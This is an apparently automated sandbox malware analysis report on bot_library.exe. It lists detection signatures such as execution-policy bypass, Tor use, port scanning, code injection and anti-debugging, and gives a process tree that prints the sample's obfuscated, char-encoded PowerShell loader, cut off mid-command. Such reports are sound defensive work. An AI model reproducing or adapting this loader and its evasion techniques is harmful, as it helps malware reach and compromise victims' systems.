Edit tour
Windows
Analysis Report
bot_library.exe
Overview
General Information
Detection
Score: | 84 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Bypasses PowerShell execution policy
Connects to many ports of the same IP (likely port scanning)
Drops executables to the windows directory (C:\Windows) and starts them
Found Tor onion address
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Tor Client/Browser Execution
Suspicious powershell command line found
Very long command line found
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64native
- bot_library.exe (PID: 548 cmdline:
"C:\Users\ user\Deskt op\bot_lib rary.exe" MD5: 6053EC6E397047ABAEB0545646372520) - conhost.exe (PID: 8140 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 7444 cmdline:
"powershel l" -NoProf ile -Execu tionPolicy Bypass -C ommand " function Get-Delega te { P aram([Type []]$JnD1HS MHteyyTw, [Type]$ipb 7jR9IVy) $5pFX0p XRose = [A ppDomain]: :CurrentDo main.Defin eDynamicAs sembly( (New-O bject Refl ection.Ass emblyName( [char](82) +[char](10 1)+[char]( 102)+[char ](108)+[ch ar](101)+[ char](99)+ [char](116 )+[char](1 01)+[char] (100)+[cha r](68)+[ch ar](101)+[ char](108) +[char](10 1)+[char]( 103)+[char ](97)+[cha r](116)+[c har](101)) ), [ Reflection .Emit.Asse mblyBuilde rAccess]:: Run).Defin eDynamicMo dule( [char](7 3)+[char]( 110)+[char ](77)+[cha r](101)+[c har](109)+ [char](111 )+[char](1 14)+[char] (121)+[cha r](77)+[ch ar](111)+[ char](100) +[char](11 7)+[char]( 108)+[char ](101), $F alse).Defi neType( [char] (77)+[char ](121)+[ch ar](68)+[c har](101)+ [char](108 )+[char](1 01)+[char] (103)+[cha r](97)+[ch ar](116)+[ char](101) +[char](84 )+[char](1 21)+[char] (112)+[cha r](101), [char ](67)+[cha r](108)+[c har](97)+[ char](115) +[char](11 5)+[char]( 44)+[char] (32)+[char ](80)+[cha r](117)+[c har](98)+[ char](108) +[char](10 5)+[char]( 99)+[char] (44)+[char ](32)+[cha r](83)+[ch ar](101)+[ char](97)+ [char](108 )+[char](1 01)+[char] (100)+[cha r](44)+[ch ar](32)+[c har](65)+[ char](110) +[char](11 5)+[char]( 105)+[char ](67)+[cha r](108)+[c har](97)+[ char](115) +[char](11 5)+[char]( 44)+[char] (32)+[char ](65)+[cha r](117)+[c har](116)+ [char](111 )+[char](6 7)+[char]( 108)+[char ](97)+[cha r](115)+[c har](115), [Mu lticastDel egate]) $5pFX0pX Rose.Defin eConstruct or( [char](82) +[char](84 )+[char](8 3)+[char]( 112)+[char ](101)+[ch ar](99)+[c har](105)+ [char](97) +[char](10 8)+[char]( 78)+[char] (97)+[char ](109)+[ch ar](101)+[ char](44)+ [char](32) +[char](72 )+[char](1 05)+[char] (100)+[cha r](101)+[c har](66)+[ char](121) +[char](83 )+[char](1 05)+[char] (103)+[cha r](44)+[ch ar](32)+[c har](80)+[ char](117) +[char](98 )+[char](1 08)+[char] (105)+[cha r](99), [Refle ction.Call ingConvent ions]::Sta ndard, $JnD1HS MHteyyTw). SetImpleme ntationFla gs([char]( 82)+[char] (117)+[cha r](110)+[c har](116)+ [char](105 )+[char](1 09)+[char] (101)+[cha r](44)+[ch ar](32)+[c har](77)+[ char](97)+ [char](110 )+[char](9 7)+[char]( 103)+[char ](101)+[ch ar](100)) $5pFX0 pXRose.Def ineMethod( [ch ar](73)+[c har](110)+ [char](118 )+[char](1 11)+[char] (107)+[cha r](101), [char ](80)+[cha r](117)+[c har](98)+[ char](108) +[char](10 5)+[char]( 99)+[char] (44)+[char ](32)+[cha r](72)+[ch ar](105)+[ char](100) +[char](10 1)+[char]( 66)+[char] (121)+[cha r](83)+[ch ar](105)+[ char](103) +[char](44 )+[char](3 2)+[char]( 78)+[char] (101)+[cha